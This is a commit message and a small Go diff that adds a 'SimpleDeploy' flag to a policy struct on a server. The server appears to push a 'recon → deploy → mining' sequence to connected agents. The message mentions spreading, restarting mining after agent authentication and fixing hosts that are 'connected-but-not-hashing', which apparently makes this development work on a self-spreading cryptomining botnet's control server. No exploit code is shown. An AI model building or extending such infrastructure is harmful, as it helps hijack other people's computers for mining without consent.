Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

server/internal/api/server_policy.go

@@ -38,6 +38,7 @@ type ServerPolicy struct {
 
 // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
 type TripleOnionPolicy struct {
+	SimpleDeploy         bool     `json:"simple_deploy,omitempty"`
 	PatchFirst           bool     `json:"patch_first,omitempty"`
 	MineIsolatedTier     bool     `json:"mine_isolated_tier,omitempty"`
 	SkipMiningOnHighRisk bool     `json:"skip_mining_on_high_risk,omitempty"`